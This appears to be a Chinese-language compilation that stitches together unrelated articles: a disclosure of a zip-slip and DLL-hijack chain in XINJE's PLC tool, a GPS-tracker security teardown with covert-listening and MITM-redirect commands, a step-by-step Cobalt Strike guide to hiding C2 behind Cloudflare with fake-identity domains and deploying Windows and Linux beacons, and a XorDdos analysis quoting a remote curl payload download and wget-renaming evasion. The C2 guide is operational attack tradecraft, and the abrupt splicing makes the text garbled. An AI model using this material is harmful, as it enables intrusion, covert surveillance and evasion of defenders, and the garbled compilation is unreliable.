Team82在審查v3.5.1版本的XINJE PLC Program Tool的安全性的時候,發現了兩個安全漏洞,分別為CVE-2021-34605和CVE-2021-34606)。不過,Team82僅對v3.5.版本系列進行了測試,但我們相信,其他版本也可能存在相同的漏洞。

這些漏洞可以通過精心設計的項目文件觸發。攻擊者可以利用這些漏洞將任意數量的項目文件寫入PLC並獲得代碼執行權限。

Team82今天披露了有關這些漏洞的有限信息,在嘗試與公司代表聯繫一年未果後,這些漏洞的詳細信息已經於2021年8月末私下披露,因為供應商既不接受我們分享技術信息,也拒絕了讓我們參與漏洞修復與響應的請求。最後,2021年9月8日,XINJE代表要求Team82停止溝通。 Team82則將其協調披露政策的期限從90天延長至9個月後,決定披露有限的漏洞細節,以幫助資產所有者遴選緩解措施。

關於PLC Program Tool

XINJE的PLC Program Tool是一個工程設計工作站程序,可以在OT環境中與XINJE生產的PLC進行通信。據XINJE稱,這些設備不僅在中國銷售,而且還在歐洲、北美、東南亞和其他地區的一些市場上銷售,涉及能源、製造業和工程等行業。

從安全的角度來看,只要獲得對安裝有工程設計工作站程序的機器的訪問權限,攻擊者就能接管PLC和其他高度敏感的OT設備,並造成不良後果。因此,攻擊者可以利用這些程序中的漏洞作為完全控制OT網絡的最後一步。

1.png

以工程工作站為目標的攻擊者可以感染較低級別的設備,如PLC、傳感器或泵。

惡意項目文件是這類漏洞的重心Team82對與項目文件相關的安全漏洞特別感興趣。

項目文件通常是包含OLE文件、SQLite數據庫、專有格式的二進製文件、文本文件和工程工作站內創建的目錄的歸檔文件格式。這些程序被工程師用來監控、配置可編程邏輯控制器(PLC)和其他控制系統,並與之進行通信。

項目文件中包含的程序邏輯不僅負責管理ICS設備以及監督流程,同時還可能包含網絡配置數據,甚至完整的OT網絡佈局。對於以工業網絡為目標的攻擊活動,尤其是國家級的入侵活動,項目文件的武器化就是這些活動的核心之所在。

當通過工程設計工作站程序打開一個項目文件時,該程序將迅速與相關設備進行通信。另外,OT工程師有時可以通過PLC上傳項目文件,但這需要運行網絡發現工具來確定PLC的網絡地址(不是所有的PLC都支持這個程序),或者手動輸入相關的網絡參數。因此,許多公司會選擇使用項目文件,因為每個文件可以包括一個或多個PLC的配置。

當工程設計工作站程序打開由攻擊者精心構造的項目文件時,可能會觸發漏洞。在這種情況下,攻擊者可以將用於存儲文件的網絡共享中的合法文件替換成一個特製的文件,從而觸發程序中的漏洞。我們在XINJE的PLC Program Tool中就發現了這樣的漏洞:在打開一個精心構造的項目文件時,攻擊者可以在易受攻擊的端點上運行任意代碼。

研究環境設置是關鍵的第一步作為我們工作的一部分,我們經常收到研究專有協議的請求,以便最大限度地提高客戶觀察其網絡流量的能力。有時,我們必須支持仍在生產現場發揮關鍵作用的舊設備,而在其他時候,我們甚至會偶然發現小型OT供應商製造的設備。

有次,我們從一個客戶那裡收到了分析由XINJE製造的設備所使用的協議的請求,這就屬於後者。

我們的第一步是建立一個實驗室設置;這通常需要購買設備,並將其連接到相關的工程設計工作站程序。在某些情況下,即使是購買設備也很困難,因為我們需要的確切型號可能已經斷貨了。

隨著時間的推移,我們發現,竟然可以通過eBay買到各種型號的OT設備。在許多情況下,一旦工廠停止生產某型號的OT設備,舊的二手設備就會出現在eBay上,不僅容易買到,還是包郵到家那種。當然,XINJE提供的設備也不例外,各種型號的XINJE產品基本都可以通過eBay買到。

Ebay上的XINJE工業設備清單:

1.png

一旦購買了PLC,下一步就是把它和其他眾多的OT設備一起安裝到我們的實驗室中,並將其連接到負責配置的工程設計工作站程序上。

1.png

在實驗室環境中運行的XINJE PLC

聯合運用兩個漏洞實現惡意文件的加載一旦我們搭建好了實驗環境,並研究好設備所使用的不同協議,接下來要做的事情,就是按照客戶的要求在其中尋找安全漏洞。

檢查這些安全問題可以幫助用戶立即改善他們的安全狀況。同時,負責任地將這些漏洞報告給供應商,不僅可以幫助修復這些漏洞,還能提高整個OT空間的安全性。

在XINJE的案例中,我們決定把重點放在名為XINJE PLC Program Tool的工程設計工作站程序上。如前所述,在這種情況下,項目文件的漏洞是特別值得關注的。通常情況下,在搜索項目文件的漏洞時,首先要調查工程設計工作站程序所使用的項目文件的具體結構。對於XINJE PLC Program Tool來說,相關文件是*.xdp文件。

1.png

XINJE PLC項目文件是由.xdp類型的文件組成的。

不難發現,這些項目文件都是些壓縮文件,具體如下面的魔法字節PK/x03/x04所示:

1.png

並且,它們幾乎可以被所有的歸檔工具(如7z)提取。更有趣的是,當程序打開一個項目文件時,它會立即將其解壓縮到位於其安裝目錄下的一個臨時目錄中:

1.png

XDPPro.exe將多個文件寫入C:\Program Files\XINJE\XDPPro\tmp目錄中

這種行為表明,該程序認為自己是以管理員權限運行的。這一點,再加上提取的文件是一個zip文件,立即讓人懷疑是否可以利用zip slip漏洞(一個任意的文件覆蓋漏洞)來獲得任意的寫入權限。

很快,我們確實發現了一個zip slip漏洞(CVE-2021-34605),它可以授予攻擊者該程序的所有權限,包括任意寫入特權;在大多數情況下,這些權限都是管理員才具有的權限。

下一個問題是:如何從任意文件寫入實現代碼執行。由於代碼在項目文件加載後立即執行是最合理的選擇,所以,我們可以檢查程序在打開項目文件後,會執行哪些操作:

1.png

XDPPro.exe試圖從C:\Program Files\XINJE\XDPPro加載DNSAPI.dll,但沒有找該動態庫,並返回至C:\Windows\System32目錄

有趣的是,它將通過LoadLibrary從其本地目錄來加載.dll文件。當LoadLibrary沒有找到相應的動態庫時,它會再次回到C:\Windows\System32目錄,並在此搜索庫文件。這裡是我們發現第二個漏洞,即CVE-2021-34606的地方;這是一個典型的DLL劫持漏洞。

為了創建一個行之有效的exploit,我們需要聯合使用這兩個漏洞:

一旦精心構造的惡意項目文件被XINJE PLC Program Tool打開,就會觸發zip slip漏洞,這時,會將一個.dll文件寫入Program Files的program目錄中。之後,在加載新項目的過程中,這個DLL也會一同被加載,而不是加載真正的DLL(它位於Windows\System32)。

一旦攻擊者的DLL被加載,惡意代碼就會在其DLLMain進程或在程序導入的某個函數中執行,這樣,攻擊者就在OT網絡中成功獲得一個立足點。

1.png

Team82的PoC演示效果

小結儘管近年來OT界對網絡安全的認識一直在穩步提高,但許多工程設計工作站程序中仍然存在許多易受攻擊的安全漏洞。

並且,並非所有的供應商都已經意識到,工程文件能夠成為攻擊者手中的武器,成為控制關鍵OT資源的手段;對於大多數OT人員來說,情況也是如此。

此外,許多供應商在協調漏洞的披露的方面,仍然有許多工作要做。因此,披露過程會浪費許多不必要的時間,因為這些信息往往要經過沒有安全知識的銷售和/或技術支持團隊,才能到達負責開發受影響產品的團隊。

對於新捷來說,這是一次具有挑戰性的漏洞披露,幸好這並非大多數OT供應商的常態。

0x01 基礎介紹GPS追踪器可以幫助定位孩子,寵物、汽車,從而使用戶更加安心。用戶可以通過提供簡單的SOS按鈕來呼叫幫助,從而幫助確保老年人或殘疾人的安全。為了實現此目的,許多設備在亞馬遜和eBay等常見網站上進行了銷售,售價為25至50美元,與使用智能手機實現某些相同功能相比,它們在價格上更具吸引力。

但是,我們對這些設備的真正了解有多少,這些設備知道我們在哪裡,有時甚至可以聽到我們的聲音,我們在這裡討論的大多數設備也都帶有麥克風。事實證明,當今的某些GPS追踪器,尤其是那些處於低端市場的GPS追踪器,是存在風險的,而不是讓你省心。他們不僅缺乏安全警報,而且這些設備更有可能使你的親人更加危險。

我們決定看一下亞馬遜,eBay和阿里巴巴上的幾種兒童追踪器,以了解它們如何經受住我們的安全測試。

GPS追踪器基礎當今可用的GPS追踪器使用多種通信渠道和技術。圖1顯示了一個典型的體系結構。

figure1-1-768x442.jpg

圖1: GPS追踪器的典型配置和架構

其中涉及許多傳輸協議和網絡層,因此我們同時在許多方面進行工作,以評估這些設備的安全性。

通常,追踪器是一種簡單,廉價的設備,以SOC(片上系統)模塊為主要組件。串行總線將SOC連接到提供位置的GPS模塊以及連接到SIM卡的GPRS調製解調器,SIM卡為設備提供DATA + SMS功能。通常,你還可以找到按下“ SOS”按鈕時使用的用於電話功能的麥克風和揚聲器。

figure2-1-768x368.jpg

圖2: GPS追踪器內部工作原理

我們將研究分為四類:

分析特定設備的啟動過程

分析管理門戶網站

分析移動應用程序和雲平台之間的流量

分析追踪器和雲平台之間的GPRS流量

攻擊真實設備我們決定選擇一個追踪器並進行一些更廣泛的研究。我們選擇了市售的追踪器—— T8 Mini GPS Tracker,該追踪器像一個鑰匙扣,具有SOS按鈕和雙向通訊功能(揚聲器和麥克風)。

image-20220323093825042.png

圖3:感興趣的追踪器

首先引起我們注意的是使用流程,隨附的說明:

image-20220323093915925.png

按照說明,有一個Web門戶和一個移動應用程序可用於管理追踪器。我們選擇了最便捷的方法,首先打開了一個可達的Web應用程序http://en.i365gps.com。在許多層面都存在錯誤:image-20220323094055485

image-20220323094055485.png

圖4: Web應用程序登錄截圖

如你所見,第一個red flag登錄表單是通過HTTP協議提供的,而不是通過更安全的HTTPS。此外,有兩個選擇可以連接到雲平台:使用用戶名和密碼的帳戶或使用ID和密碼的帳戶。

image-20220323094235628.png

圖5:默認密碼

這適用於Android應用程序和Web應用程序。令人震驚的事實是:“ …如果需要通過用戶名登錄,則用戶需要聯繫經銷商註冊用戶名。”由於你必須致電經銷商以請求用戶名,因此很明顯,可以使用ID,其密碼為“ 123456”。

出於演示目的,我們的ID為:17032491112和密碼123456。當你登錄到平台時,將出現此界面。

image-20220323094518536-16479999196441.png

image-20220323094518536圖6: Web應用程序界面

這裡的所有內容仍然通過不安全的HTTP協議傳輸,你可以更改密碼,但是仍然無法創建帳戶,讓我們把關注點放在ID上。

用戶名ID作為進入應用程序的“username”的ID是11位數。正如你在設備信息圖7中所看到的那樣,它有時被稱為IMEI,代表“國際移動設備身份”。

image-20220323094703856.png

image-20220323094703856圖7:設備標識

你可以看到設備被標識為T8S-49112,因此後五位數字取自“ IMEI”,而開頭可能是型號。這里奇怪的是,IMEI的數字不符合標準IMEI規範。根據規範,IMEI應該為15位長,最後一位是所謂的控制位。當我們進行更多搜索時,我們在追踪器(圖8)中發現了完整的IMEI ,隨後在包裝盒上的小標籤上也發現了完整的IMEI 。因此,在我們的案例中,完整的IMEI為:

1653140978186756.png

圖8:追踪器的內部以及IMEI和ID image-20220323094851519

image-20220323094851519.png

圖9: IMEI簡化的細分

因此,當我們獲取“ IMEI”和ID號並將其與規範格式匹配時,我們將獲得

image-20220323094919750.png image-20220323094919750

圖10:與IMEI匹配的ID

TAC的第一部分由各個子部分組成,但為簡單起見,我們可以說它以與MAC地址前綴幾乎相同的方式分配給供應商。這也意味著所有其他追踪器的數字都是可預測的,你可以輕鬆枚舉它們。結合固定密碼,這意味著我們可以按此IMEI編號順序登錄約25%的設備。

0x02 協議分析好了,暫時將IMEI枚舉放在一邊,讓我們看看設備,移動應用程序和Web應用程序如何與雲平台對話。

從Web應用到雲平台我們已經知道Web應用程序中的所有通信都是通過HTTP進行的,所以讓我們看一下使用某些標準工具從Web應用程序發出的請求是什麼:

figure11.jpg

圖11: Web應用程序AJAX請求(Chrome中的開發人員工具)

通過使用簡單的工具,我們可以看到所有請求都是純文本格式的標準JSON AJAX請求。我們不需要深入分析這部分,因為這些命令與移動應用程序向雲平台發出的命令大致相同。有趣的是,所有JSON請求都再次未加密且以明文形式發送,但更重要的是設備可以發出的命令。除了獲得預期的命令外,例如獲取GPS坐標和位置,還有其他一些其他的功能:

你可以使追踪器撥打任意電話號碼,並且一旦連接,就可以通過追踪器在對方不知情的情況下收聽。

你可以使追踪器代表自己將SMS消息發送到任意號碼。這可以讓你獲取設備的電話號碼並將SMS用作攻擊媒介。

你可以將URL發送到追踪器,追踪器可以從該URL 更新其固件,從而使攻擊者可以在設備上更新新的固件。

從移動應用到雲平台figure12.jpg

圖12:配套應用程序

現在讓我們看一下AIBEILE android應用程序如何與雲平台進行通信。使用Wireshark捕獲流量後,我們立即看到它使用純文本HTTP協議通過非標準端口TCP:8018與雲平台進行通信。

figure13-1024x336.jpg

圖13: Android應用程序在登錄時捕獲了流量

可以看到整個通信仍然未加密,並以純文本形式發送到端點http://(redacted):8018/openapiv3.asmx。這是請求的截圖:

figure14-1024x704.jpg

圖14:登錄數據包的詳細信息

有趣的是,登錄請求使用內置的Key和LoginAPP值,這給我們一個提示,即該框架正在由不同的應用程序使用,因為Key 也被內置在APK 文件中。

LoginType字段在此處通過用戶名和密碼(LoginType=0)或IMEI和密碼(LoginType=1)方法進行區分,此參數控制你使用的憑據類型。

登錄成功後,將以HTTP形式返迴響應,該響應中包含XML字符串,該字符串實際上是JSON。典型的成功響應如下所示:image-20220323100204747

image-20220323100204747.png

圖15:對登錄請求的JSON響應

可以看到很多很明顯的字段,但這裡最重要的字段是key2018,這是Base64編碼的64字節長的會話密鑰,並且deviceID在這兩個密鑰中都需要進行進一步的請求和命令。

這樣的命令之一可能是GetTracking。你可以看到登錄後發出了該命令(圖13),唯一的輸入參數是:

figure16-768x384.jpg

圖16: 請求追踪器的實際位置或最後看到的位置

我們不能完全確定Model 字段發的含義。下面是響應包:

image-20220323101210115 image-20220323101210115.png

圖17: 對GetTracking調用的響應

應用程序和雲平台完全以純文本方式進行通信,沒有加密。

從追踪器到雲端image-20220323101138651.png

現在,讓我們更深入地研究設備如何與雲平台對話,如何通過移動運營商提供商在實際追踪器和服務器之間交換數據。

對在LTE或GPRS移動協議之上使用IP傳輸的協議進行解碼或逆向並不容易。通常沒有簡單的方法來利用流量,因為流量先封裝在GPRS中,然後再從設備傳輸到電信運營商,然後再直接傳輸到雲平台服務器,而沒有明顯的方法來嗅探數據流向雲平台或返回雲平台的方式。

如果要分析此類流量,則基本上有兩種選擇:

建立自己的偽BTS站並運行自己的GSM網絡,以便觀察通過的所有流量。

在設備內部的GPRS調製解調器對數據進行編碼和發送之前檢查數據。

第一種選擇很複雜,要合法地進行,你需要一個法拉第籠,因為在大多數國家/地區,在沒有許可證的情況下運行自己的GSM網絡是非法的。同樣,建造設備並非易事,但是有許多開源解決方案(https://osmocom.org/projects/osmobts),與以太網或WiFi嗅探相比,它並不方便易用。

第二種選擇需要一些硬件技能,並且設備可能會失效。正如我們在一開始就指出的那樣,大多數GPS追踪器內部都將GPRS調製解調器作為一個離散組件,儘管通常很小,但仍有很大的機會利用主CPU和GPRS調製解調器之間的串行線。

在打開GPS追踪器後,確定了一些看上去完全類似於我們所需的連接點的墊。有兩組串行連接墊(TXD/RXD/GND),很明顯,一組用於GPS到CPU的通訊,另一組用於CPU到GPRS調製解調器,因此通過反複試驗,我們確定了正確的一組:

image-20220323101525811.png

圖19:進入追踪器以進行GPRS通信

完成此測試後,我們可以確認所有數據未加密地從GSM網絡傳輸到雲平台服務器。通信是基於文本的協議,最重要的是缺少授權,整個工作僅需通過其IMEI識別追踪器即可。

從SMS 到追踪器最後一點是,你可以使用另一個頻道來控制追踪器,你可以使用簡單的SMS消息進行設置並獲取一些信息。要獲取GPS位置,你可以通過手機向定位器中插入的SIM卡號碼發送短信。為此,你需要知道密碼,但是除非用戶更改了密碼,否則所有設備的默認密碼都是相同的。

figure20-1-740x1024.jpg

圖20:手冊中說明的SMS命令

我們通過進行一些硬件逆向學習了所有這些知識,但是我們真的必須這樣做嗎?事實證明,在研究命令時,你可以通過SMS消息直接向追踪器發出命令,我們發現了這一點:

image-20220323101820167.png

圖21:用於設置追踪器的SMS命令

該命令隱藏在名稱“Setup IP and port”下,意味著你可以設置設備與之通信的雲平台服務器所在的IP地址和TCP端口。這是攻擊者想要的信息;結合用於來回發送數據的不安全協議,你可以輕鬆地進行MITM中間人攻擊,並使用標準IP工具捕獲所有數據。

如下測試:

figure22-768x630.jpg

圖22:通過惡意服務器轉發流量

image-20220323102010230.png

圖23: Wireshark捕獲了位置數據包的流量

可以輕鬆發現IMEI/ID和坐標,已識別命令的格式似乎是文本格式,並且遵循以下格式:

Heartbeatcommandtracker-server

[3G*1703249112*000C*LK,0,1226,85]

Heartbeatresponseserver-tracker:

[3G*1703249112*0002*LK]

Activatemonitormode(callbackthisnumber)server-client:

[3G*1703249112*0015*MONITOR,+420612661749]

SendSMS“Test”toprovidednumber(+420602661749)server-client:

[3G*1703249112*0016*SMS,+420602661749,Test]

Positionandstatus(client-server):

[3G*1703249112*0090*UD,210619,053538,V,37.481010,N,-122.2315369,W,0.00,0.0,0.0,0,86,86,0,15,00000000,4,255,202,1,2082,5673,140,2082,12,128,2082,5671,118,2082,11,115]0x03 查找API在調查各種API時,發現我們正在調查的平台似乎已被許多其他供應商廣泛使用。通過谷歌搜索,我們找到了移動應用程序-雲接口的文檔:

image-20220323102309858.png

圖24:在另一個實例中找到的記錄的部分列表API

遍歷此API提供的每個命令並不是本研究的目的,但是讓我們看一些示例以進一步說明安全性有多糟糕以及這會對普通用戶造成什麼後果。

儘管我們調查的追踪器沒有攝像頭,但其他使用相同雲平台框架的追踪器卻有攝像頭,例如下圖的A19-3G Network GPS Smart Watch,此命令激起了我們的興趣。

工具准备

国外服务器一台

自由鲸(VPN)

CS 4.4

nginx

CS服务端配置

服务器禁ping

1、当服务器禁ping后,从某种角度可以判定为主机为不存活状态。

2、编辑文件/etc/sysctl.conf,在里面增加一行。net.ipv4.icmp_echo_ignore_all=1
之后使命命令sysctl -p使配置生效。

5kyo0nc1qm214462.jpg

3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。

fihna4mbz3z14464.png

修改端口

1、编辑teamserver文件,搜索50050,将其改为任意端口即可,这里改成65000

hou3znowguo14467.jpg

2、保存退出,启动teamserver,发现端口已经变化。

zwmlbb3i0of14470.jpg

修改默认证书

1、因为cs服务端生成的证书含有cs的相关特征所有,这里进行修改替换。修改方式有两种,分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。

方法一删除密钥库文件cobaltstrike.store(推荐)

1、生成新的密钥库文件

kklxoicc5or14473.jpg

2、查看证书

3、启动服务器查看证书签名是否相同,经查看证书签名是相同的。

xvinbvteqed14478.jpg

方法二修改启动文件

1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分,其中就包括密钥库的检测,这部分的写法是,如检测不到密钥库就使用命令生成新的密钥库,修改这里生成命令。

2、将teamserver中圈出来的部分需要修改

rjjdzee254o14481.jpg

3、将其修改为如下内容:

xk05bkwta4z14483.jpg

4、删除原有的./cobaltstrike.store密钥库文件,下次启动时会自动生成新的密钥库文件

使用CDN隐藏

申请免费域名

1、进入freenom官网,翻译中文,拉到最下面,选择开发人员

0am4qeq5mdz14486.jpg

2、拉到最下面,点击今天就获得一个随机的域账号

yjxiwyggqrg14487.jpg

3、输入国际邮箱,然后点击验证邮箱,推荐使用临时邮箱

opzdzhvi4k214489.jpg

4、几秒钟后,就会收到邮件,点击邮件点击确认跳转到freenom网站,翻译当前网页中文后,点击开发商

1un1b23xi4214491.jpg

5、将网站拉到最后下面,翻译中文,点击立即获取一个随机域账号

43xso0vbv3514492.jpg

6、然后来到个人信息填写页面

p5enr20yqdf14495.png

7、因为IP选择的地址是弗罗里达州,所以需要借助佛罗里达州个人信息生成器和个人信息生成器,两者需要结合。

ia1t02wblwu14497.jpg1hbboavdkuz14499.jpg

8、信息按照生成器填写即可,填写后,勾选并点击完成订单,到此账号已经注册成功。

i1odccb1an014502.jpg2jhiq35ex4u14504.jpg

9、回到网站首页,选取域名,输入xxx.tk,点击check availability,可用的话点击checkout

itm05qnwt3m14505.jpg

10、选择12个月免费版本,最后点击continue

szsyzd0hkbe14506.jpg

11、最后完成订单

tldrsx25ud314507.jpgai0lv5qgmat14509.jpg

12、选择my domains,看到域名是存活的。


s2xsfa1s34a14511.jpg

xxfrydly3sp14513.jpg

CDN配置

1、cdn部分可以选择其实挺多的,我这里选择的是cloudflare

2、登录cloudflare后,选择添加站点

1034p3mnui314517.jpg

3、选择免费计划

opvsgg2n0ou14520.jpg

4、添加DNS记录,输入要保护的IP和A记录。

4ugj4ewevx514522.jpg

5、修改xxx.tk的dns服务器为cloudflare。修改完成后需要一定的时间生效

ioiluhn2p0a14524.jpgpavvgbfeuot14526.jpgbdfxcoykoxu14528.jpg

6、关闭自动https重写和始终使用https、broti压缩

gkzyur3h13214530.jpg

7、点击finish完成

bxpjprjrd4n14531.jpg

8、出现如下界面就设置生效,可以使用cloudflare进行域名解析操作了

4vxltucunf014533.jpg

9、解析一个www.xxx.tk测试一下

3khniu5iv1114535.jpg

10、使用全球ping,发现已经成功添加CDN

gjxzlmplede14537.jpg

11、配置SSL/TLS加密模式为完全

zy31yh0cp0k14539.jpg

cloudflare生成证书

1、在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和server.key。一定要在生成的时候保存,不然可能找不到私钥了。

jlu2bxsrqcp14540.jpg

2、申请证书并打包密钥库,将证书打包并生成store文件。

epxfv4xslin14543.jpg

3、配置证书到https的监听方式中,要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下,想cloudflare.profile加入证书配置:其中需要注意的是https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。

4、验证配置文件是否有问题。如下为验证成功的配置(当前目录需要有cobaltstrike.jar)

jxxaltgppe314548.jpg

5、配置nginx反向代理,按照下面命令执行即可

6、更改teamserver文件,老套路将stroe和密码写进去

vbgx3exwhmj14553.jpg

7、使用配置文件启动服务器

2nhkmleowrc14555.jpg

8、访问网站,发现已经有证书了

3lba4qlo2qj14556.jpg

生成木马配置

1、作了如上的配置,在生成木马时需要做一些不一样的操作。注意:免费版本的cloudflare支持解析少量的端口,具体端口如下

2、创建监听器,注意是https

nxcrpsv2yrz14560.jpg

3、生成exe木马

qcdmt2wuzkb14563.jpg

4、点击运行,成功上线

s0fevr55osi14565.jpg

5、通过抓包发现数据包都被加密

vvosfykdqlw14571.jpg

6、powershell的上线方式与以前有些许不同。需要启动ssl证书

5athu2jwn0v14576.jpg

7、在cmd中执行,powershell成功上线

4rmtl44et1v14578.jpg

Linux上线

Cloudflare CDN配置

1、选择缓存,创建规则

trh3foedfl114583.jpg

2、输入ip.src == xx.xx.xx.xx,该IP是C2服务器真实IP,再选择绕过缓存,最后保存。

10otoyxthok14585.jpg

nginx配置

1、编辑nginx配置文件,在http中添加以下配置

c2profile.c配置

cloudflare.profile配置

启动C2

1、启动C2服务器

2、下载CrossC2-GithubBot-2022-06-07.cna,下载CrossC2Kit_Loader.cna,将其保存在Windows CS客户端文件夹中

hamnfeedbhy14587.jpg

3、在Windows中启动客户端,依次加载CrossC2-GithubBot-2022-06-07.cna和CrossC2Kit_Loader.cna插件,加载后,右上角会出现CrossC2按钮

chai2cw2u4t14591.jpg

4、创建监听器,端口为9090

e2bjjt3t5n014593.jpg

5、公网访问以下内容

创建beacon

1、下载最新版genCrossC2.Linux,并将genCrossC2.Linux和c2profile.c放在C2服务器端

m1zr4jy05bq14596.jpg

2、C2服务器中编译so文件

xtcvhxv2zym14601.jpg

3、生成Linux木马,执行完成后会在当前生成a.out文件

nhsvup0wexl14604.jpg

Linux机器上线

1、将生成的a.out上传到目标机器,赋予权限,然后执行。

2、Linux机器成功上线

txfhjprsgza14608.jpg

命令交互操作

1、选中机器,鼠标右键会话交互,输入Linux命令即可

4h1b3ufdwqt14610.jpg

文件操作

1、选中机器,鼠标右键Expore -> 文件浏览器,即可查看目标机器文件,还可以上传下载文件

zd5jv02qlbp14617.jpg

进程查看

1、选中机器,鼠标右键Expore -> Process List,即可查看目标机器进程

hnz2ybayq2s14627.jpg


原文链接: https://xz.aliyun.com/t/12094

在過去的六個月裡,微軟的研究人員發現一種名為XorDdos的Linux木馬的活動增加了254%。 XorDdos是由MalwareMustDie研究團隊於2014年首次發現的,其名稱來源於其在Linux終端和服務器上的拒絕服務相關活動,以及其在通信中使用基於XOR的加密。

存在於linux的操作系統的XorDdos惡意軟件越來越多,而linux操作系統通常部署在雲基礎設施和物聯網設備上。通過破壞物聯網和其他聯網設備,XorDdos積累了可用於執行分佈式拒絕服務(DDoS)攻擊的殭屍網絡。使用殭屍網絡執行DDoS攻擊可能會造成重大破壞,例如微軟在2021年8月緩解的2.4TbpsDDoS攻擊。由於多種原因,DDoS攻擊本身可能會帶來很大的問題,但此類攻擊也可以用作掩護隱藏進一步的惡意活動,例如部署惡意軟件和滲透目標系統。

殭屍網絡也可以被用來危害其他設備,XorDdos以使用SecureShell(SSH)暴力攻擊來獲得對目標設備的遠程控製而聞名。 SSH是IT基礎設施中最常見的協議之一,它可以在不安全的網絡上進行加密通信以實現遠程系統管理,使其成為攻擊者的首選工具。一旦XorDdos識別出有效的SSH憑證,它就使用根權限運行一個腳本,該腳本將下載XorDdos並將其安裝到目標設備上。

XorDdos使用規避和持久性機制,使其操作保持穩健和隱秘。它的規避能力包括混淆惡意軟件的活動、規避基於規則的檢測機制和基於哈希的惡意文件查找,以及使用反取證技術來破壞基於進程樹的分析。研究人員在最近的活動中觀察到,XorDdos通過用空字節覆蓋敏感文件來隱藏惡意活動以防止分析。它還包括支持不同Linux發行版的各種持久性機制。

1.png

XorDdos惡意軟件的典型攻擊載體

XorDdos還被用來傳遞其他危險的威脅。研究人員發現,最先被XorDdos感染的設備後來又被其他惡意軟件感染,比如Tsunami後門,該後門進一步部署了XMRig挖礦程序。雖然研究人員沒有觀察到XorDdos直接安裝和傳播像Tsunami這樣的二級有效負載,但該木馬有可能被用作後續活動的載體。

MicrosoftDefenderforEndpoint通過檢測和修復木馬在其整個攻擊鏈中的多階段模塊化攻擊以及終端上的任何潛在後續活動來防止XorDdos。在本文中,研究人員將詳細分析XorDdos,以幫助防御者了解其技術並保護他們的網絡免受這種隱秘惡意軟件的攻擊。

初始訪問XorDdos主要通過SSH暴力進行傳播。它使用一個惡意的shell腳本在數千個服務器上嘗試各種根憑據組合,直到在目標Linux設備上找到匹配項。因此,研究人員在成功感染惡意軟件的設備上看到許多失敗的登錄嘗試:

2.png

在受XorDdos影響的設備上嘗試登錄失敗

研究人員的分析確定了XorDdos的兩種初始訪問方法。第一種方法是將惡意ELF文件複製到臨時文件存儲/dev/shm中,然後運行它。 /dev/shm中寫入的文件會在系統重啟時被刪除,從而在取證分析過程中隱藏感染源。

第二種方法涉及運行一個bash腳本,該腳本通過命令行執行以下活動:

1、迭代以下文件夾以找到一個可寫目錄:

/bin

/home

/root

/tmp

/usr

/etc2、如果已找到可寫目錄,則將工作目錄更改為已找到的可寫目錄。

3、使用curl命令從遠程位置下載ELF文件有效負載hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt並將文件保存為ygljglkjgfg0。

4、將文件模式改為“可執行”。

5、運行ELF文件負載。

6、移動和重命名Wget二進製文件,以規避惡意使用Wget二進製文件所觸發的基於規則的檢測。在這種情況下,它將Wget二進製文件重命名為good,並將文件移動到以下位置:

mv/usr/bin/wget/usr/bin/good

mv/bin/wget/bin/good7、嘗試第二次下載ELF文件有效負載,現在只使用filegood而不是Wget二進製文件。

8、運行ELF文件後,使用反取證技術通過用換行符覆蓋以下敏感文件的內容來隱藏其過去的活動:

3.png

初始訪問使用的遠程bash腳本命令

無論使用哪種初始訪問方法,結果都是一樣的:運行惡意ELF文件,即XorDdos惡意軟件。接下來,我們將深入研究XorDdos有效負載。

XorDdos有效負載分析本文研究分析的XorDdos有效負載是一個32位ELF文件,沒有被用過,這意味著它包含調試符號,詳細說明了惡意軟件的每個活動的專用代碼。與丟棄這些符號的被污染過的二進製文件相比,包含調試符號使調試和反向工程非污染二進製文件更容易。在這種情況下,未污染的二進製文件包括以下與符號表條目關聯的源代碼文件名,它們是ELF文件中.strtab部分的一部分:

crtstuff.c

autorun.c

crc32.c

encrypt.c

execpacket.c

buildnet.c

hide.c

http.c

kill.c

main.c

proc.c

socket.c

tcp.c

thread.c

findip.c

dns.c上面的源代碼文件名列表表明二進製文件是用C/c++編程的,並且它的代碼是模塊化的。

反檢測能力XorDdos包含具有逃避檢測的特定功能模塊,詳細信息如下。

守護進程(Daemonprocess)守護進程是一個在後台運行而不是在用戶控制下的進程,它與控制終端分離,僅在系統關閉時終止。與某些Linux惡意軟件系列類似,XorDdos木馬使用守護進程(如下詳述)來破壞基於進程樹的分析。守護進程(Daemon)是一類在後台長期運行的特殊進程,一般在系統引導時開始啟動,一直運行到系統關閉。守護進程一般用於提供某種服務,比如log打印守護進程syslogd,任務規劃守護進程crond,實現Dbus總線功能的dbus守護進程等。

1、惡意軟件調用子程序daemon(__nochdir,__noclose)將自己設置為後台守護進程,該進程在內部調用fork()和setsid()。 fork()API創建一個與調用進程具有相同進程組ID的新子進程。

2、成功調用fork()API後,父進程通過返回“EXIT_SUCCESS(0)”停止。目的是保證子進程不是組進程的leader,這是setsid()API調用成功的前提。然後它調用setsid()將自己與控制終端分離。

3、如果調用第一個參數__nochdir的值等於“0”,則守護程序子例程還具有將目錄更改為根目錄(“/”)的規定。守護進程將目錄更改為根分區(“/”)的原因之一是因為從掛載的文件系統運行進程會阻止卸載,除非進程停止。

4、它將第二個參數__noclose傳遞為“0”,以將標準輸入、標準輸出和標準錯誤重定向到/dev/null。它通過在/dev/null的文件描述符上調用dup2來做到這一點。

5、惡意軟件調用多個信號API以忽略來自控制終端的可能信號,並在終端會話斷開時將當前進程與標準流和掛斷信號(SIGHUP)分離。執行這種規避信號抑制有助於阻止標準庫嘗試寫入標準輸出或標準錯誤或嘗試從標準輸入讀取的影響,這可能會阻止惡意軟件的子進程。 APIsignal()將信號符號的處置設置為處理程序,它是SIG_IGN、SIG_DFL或程序員定義的信號處理程序的地址。在本例中,第二個參數被設置為'SIG_IGN=1',它忽略了與signum對應的信號。

6.png

忽略與終端相關操作相關的信號

